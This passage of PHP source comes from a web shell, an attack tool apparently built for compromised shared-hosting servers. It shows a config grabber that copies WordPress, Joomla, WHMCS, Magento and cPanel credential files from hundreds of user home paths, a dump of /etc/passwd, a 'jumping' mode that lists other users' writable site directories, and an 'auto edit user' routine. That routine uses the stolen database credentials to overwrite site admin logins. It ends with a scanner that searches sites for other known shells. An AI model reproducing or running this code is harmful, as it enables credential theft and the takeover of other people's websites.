  1110.                     "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1111.                     "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1112.                     "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1113.                     "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1114.                     "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1115.                     "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1116.                     "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1117.                     "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1118.                     "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1119.                     "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1120.                     "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1121.                     "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1122.                     "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1123.                     "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1124.                     "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1125.                     "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1126.                     "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1127.                     "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1128.                     "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1129.                     "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1130.                     "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1131.                     "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1132.                     "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1133.                     "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1134.                     "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1135.                     "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1136.                     "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1137.                     "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1138.                     "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1139.                     "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1140.                     "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1141.                     "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1142.                     "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1143.                     "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1144.                     "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1145.                     "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1146.                     "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1147.                     "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1148.                     "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1149.                     "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1150.                     "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1151.                     "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1152.                     "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1153.                     "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1154.                     "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1155.                     "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1156.                     "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1157.                     "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1158.                     "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1159.                     "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1160.                     "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1161.                     "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1162.                     "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1163.                     "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1164.                     "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1165.                     "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1166.                     "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1167.                     "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1168.                     "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1169.                     "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1170.                     "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1171.                     "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1172.                     "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1173.                     "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1174.                     "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1175.                     "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1176.                     "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1177.                     "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1178.                     "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1179.                     "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1180.                     "/home3/$user_cox/.my.cnf" => "cpanel",
  1181.                     "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1182.                     "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1183.                     "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1184.                     "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1185.                     "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1186.                     "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1187.                     "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1188.                     "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1189.                     "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1190.                     "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1191.                     "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1192.                     "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1193.                     "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1194.                     "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1195.                     "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1196.                     "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1197.                     "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1198.                     "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1199.                     "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1200.                     "/home3/$user_cox/public_html/configuration.php" => "Joomla",                  
  1201.                     "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1202.                     "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1203.                     "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1204.                     "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1205.                     "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1206.                     "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1207.                     "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1208.                     "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1209.                     "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1210.                     "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1211.                     "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1212.                     "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1213.                     "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1214.                     "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1215.                     "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1216.                     "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1217.                     "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1218.                     "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1219.                     "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1220.                     "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1221.                     "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1222.                     "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1223.                     "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1224.                     "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1225.                     "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1226.                     "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1227.                     "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1228.                     "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1229.                     "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1230.                     "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1231.                     "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1232.                     "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1233.                     "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1234.                     "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1235.                     "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1236.                     "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1237.                     "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1238.                     "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1239.                     "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1240.                     "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1241.                     "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1242.                     "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1243.                     "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1244.                     "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1245.                     "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1246.                     "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1247.                     "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1248.                     "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1249.                     "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1250.                     "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1251.                     "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1252.                     "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1253.                     "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1254.                     "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1255.                     "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1256.                     "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1257.                     "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1258.                     "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1259.                     "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1260.                     "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1261.                     "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1262.                     "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1263.                     "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1264.                     "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1265.                     "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1266.                     "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1267.                     "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1268.                     "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1269.                     "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1270.                     "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1271.                     "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1272.                     "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1273.                     "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"                   
  1274.                         ); 
  1275.                     foreach($grab_config as $config => $nama_config) {
  1276.                         $ambil_config = file_get_contents($config);
  1277.                         if($ambil_config == '') {
  1278.                         } else {
  1279.                             $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1280.                             fputs($file_config,$ambil_config);
  1281.                         }
  1282.                     }
  1283.                 }      
  1284.             }
  1285.             echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1286.             }else{
  1287.                
  1288.         echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1289.         echo file_get_contents('/etc/passwd');
  1290.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1291.         }
  1292. } elseif($_GET['do'] == 'jumping') {
  1293.     $i = 0;
  1294.     echo "<pre><div class='margin: 5px auto;'>";
  1295.     $etc = fopen("/etc/passwd", "r");
  1296.     while($passwd = fgets($etc)) {
  1297.         if($passwd == '' || !$etc) {
  1298.             echo "<font color=red>Can't read /etc/passwd</font>";
  1299.         } else {
  1300.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1301.             foreach($user_jumping[1] as $user_idx_jump) {
  1302.                 $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1303.                 if(is_readable($user_jumping_dir)) {
  1304.                     $i++;
  1305.                     $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1306.                     if(is_writable($user_jumping_dir)) {
  1307.                         $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1308.                     }
  1309.                     echo $jrw;
  1310.                     $domain_jump = file_get_contents("/etc/named.conf");   
  1311.                     if($domain_jump == '') {
  1312.                         echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1313.                     } else {
  1314.                         preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1315.                         foreach($domains_jump[1] as $dj) {
  1316.                             $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1317.                             $user_jumping_url = $user_jumping_url['name'];
  1318.                             if($user_jumping_url == $user_idx_jump) {
  1319.                                 echo " => ( <u>$dj</u> )<br>";
  1320.                                 break;
  1321.                             }
  1322.                         }
  1323.                     }
  1324.                 }
  1325.             }
  1326.         }
  1327.     }
  1328.     if($i == 0) {
  1329.     } else {
  1330.         echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1331.     }
  1332.     echo "</div></pre>";
  1333. } elseif($_GET['do'] == 'auto_edit_user') {
  1334.     if($_POST['hajar']) {
  1335.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1336.             echo "username atau password harus lebih dari 6 karakter";
  1337.         } else {
  1338.             $user_baru = $_POST['user_baru'];
  1339.             $pass_baru = md5($_POST['pass_baru']);
  1340.             $conf = $_POST['config_dir'];
  1341.             $scan_conf = scandir($conf);
  1342.             foreach($scan_conf as $file_conf) {
  1343.                 if(!is_file("$conf/$file_conf")) continue;
  1344.                 $config = file_get_contents("$conf/$file_conf");
  1345.                 if(preg_match("/JConfig|joomla/",$config)) {
  1346.                     $dbhost = ambilkata($config,"host = '","'");
  1347.                     $dbuser = ambilkata($config,"user = '","'");
  1348.                     $dbpass = ambilkata($config,"password = '","'");
  1349.                     $dbname = ambilkata($config,"db = '","'");
  1350.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1351.                     $prefix = $dbprefix."users";
  1352.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1353.                     $db = mysql_select_db($dbname);
  1354.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1355.                     $result = mysql_fetch_array($q);
  1356.                     $id = $result['id'];
  1357.                     $site = ambilkata($config,"sitename = '","'");
  1358.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1359.                     echo "Config => ".$file_conf."<br>";
  1360.                     echo "CMS => Joomla<br>";
  1361.                     if($site == '') {
  1362.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1363.                     } else {
  1364.                         echo "Sitename => $site<br>";
  1365.                     }
  1366.                     if(!$update OR !$conn OR !$db) {
  1367.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1368.                     } else {
  1369.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1370.                     }
  1371.                     mysql_close($conn);
  1372.                 } elseif(preg_match("/WordPress/",$config)) {
  1373.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  1374.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  1375.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1376.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  1377.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1378.                     $prefix = $dbprefix."users";
  1379.                     $option = $dbprefix."options";
  1380.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1381.                     $db = mysql_select_db($dbname);
  1382.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1383.                     $result = mysql_fetch_array($q);
  1384.                     $id = $result[ID];
  1385.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1386.                     $result2 = mysql_fetch_array($q2);
  1387.                     $target = $result2[option_value];
  1388.                     if($target == '') {
  1389.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1390.                     } else {
  1391.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1392.                     }
  1393.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1394.                     echo "Config => ".$file_conf."<br>";
  1395.                     echo "CMS => Wordpress<br>";
  1396.                     echo $url_target;
  1397.                     if(!$update OR !$conn OR !$db) {
  1398.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1399.                     } else {
  1400.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1401.                     }
  1402.                     mysql_close($conn);
  1403.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1404.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1405.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1406.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1407.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1408.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1409.                     $prefix = $dbprefix."admin_user";
  1410.                     $option = $dbprefix."core_config_data";
  1411.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1412.                     $db = mysql_select_db($dbname);
  1413.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1414.                     $result = mysql_fetch_array($q);
  1415.                     $id = $result[user_id];
  1416.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1417.                     $result2 = mysql_fetch_array($q2);
  1418.                     $target = $result2[value];
  1419.                     if($target == '') {
  1420.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1421.                     } else {
  1422.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1423.                     }
  1424.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1425.                     echo "Config => ".$file_conf."<br>";
  1426.                     echo "CMS => Magento<br>";
  1427.                     echo $url_target;
  1428.                     if(!$update OR !$conn OR !$db) {
  1429.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1430.                     } else {
  1431.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1432.                     }
  1433.                     mysql_close($conn);
  1434.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1435.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1436.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1437.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1438.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1439.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1440.                     $prefix = $dbprefix."user";
  1441.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1442.                     $db = mysql_select_db($dbname);
  1443.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1444.                     $result = mysql_fetch_array($q);
  1445.                     $id = $result[user_id];
  1446.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1447.                     if($target == '') {
  1448.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1449.                     } else {
  1450.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1451.                     }
  1452.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1453.                     echo "Config => ".$file_conf."<br>";
  1454.                     echo "CMS => OpenCart<br>";
  1455.                     echo $url_target;
  1456.                     if(!$update OR !$conn OR !$db) {
  1457.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1458.                     } else {
  1459.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1460.                     }
  1461.                     mysql_close($conn);
  1462.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1463.                     $dbhost = ambilkata($config,'server = "','"');
  1464.                     $dbuser = ambilkata($config,'username = "','"');
  1465.                     $dbpass = ambilkata($config,'password = "','"');
  1466.                     $dbname = ambilkata($config,'database = "','"');
  1467.                     $prefix = "users";
  1468.                     $option = "identitas";
  1469.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1470.                     $db = mysql_select_db($dbname);
  1471.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1472.                     $result = mysql_fetch_array($q);
  1473.                     $target = $result[alamat_website];
  1474.                     if($target == '') {
  1475.                         $target2 = $result[url];
  1476.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1477.                         if($target2 == '') {
  1478.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1479.                         } else {
  1480.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1481.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1482.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1483.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1484.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1485.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1486.                             } else {
  1487.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1488.                             }
  1489.                         }
  1490.                     } else {
  1491.                         $cek_login = file_get_contents("$target/adminweb/");
  1492.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1493.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1494.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1495.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1496.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1497.                         } else {
  1498.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1499.                         }
  1500.                     }
  1501.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1502.                     echo "Config => ".$file_conf."<br>";
  1503.                     echo "CMS => Lokomedia<br>";
  1504.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1505.                         echo $url_target2;
  1506.                     } else {
  1507.                         echo $url_target;
  1508.                     }
  1509.                     if(!$update OR !$conn OR !$db) {
  1510.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1511.                     } else {
  1512.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1513.                     }
  1514.                     mysql_close($conn);
  1515.                 }
  1516.             }
  1517.         }
  1518.     } else {
  1519.         echo "<center>
  1520.         <h1>Auto Edit User Config</h1>
  1521.         <form method='post'>
  1522.         DIR Config: <br>
  1523.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1524.         Set User & Pass: <br>
  1525.         <input type='text' name='user_baru' value='forbidd3n' placeholder='user_baru'><br>
  1526.         <input type='text' name='pass_baru' value='forbidd3n' placeholder='pass_baru'><br>
  1527.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1528.         </form>
  1529.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1530.         ";
  1531.     }
  1532. }elseif($_GET['do'] == 'shelscan') {
  1533.     echo'<center><h2>Shell Finder</h2>
  1534. <form action="" method="post">
  1535. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1536. <br>
  1537. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  1538. </form><br>';
  1539. if (isset($_POST["scan"])) {  
  1540. $url = $_POST['traget'];
  1541. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1542. echo "Result :<br />";
  1543. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1544. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1545. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1546. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1547. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1548. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1549. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1550. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1551. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1552. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1553. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1554. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1555. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1556. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1557. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1558. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
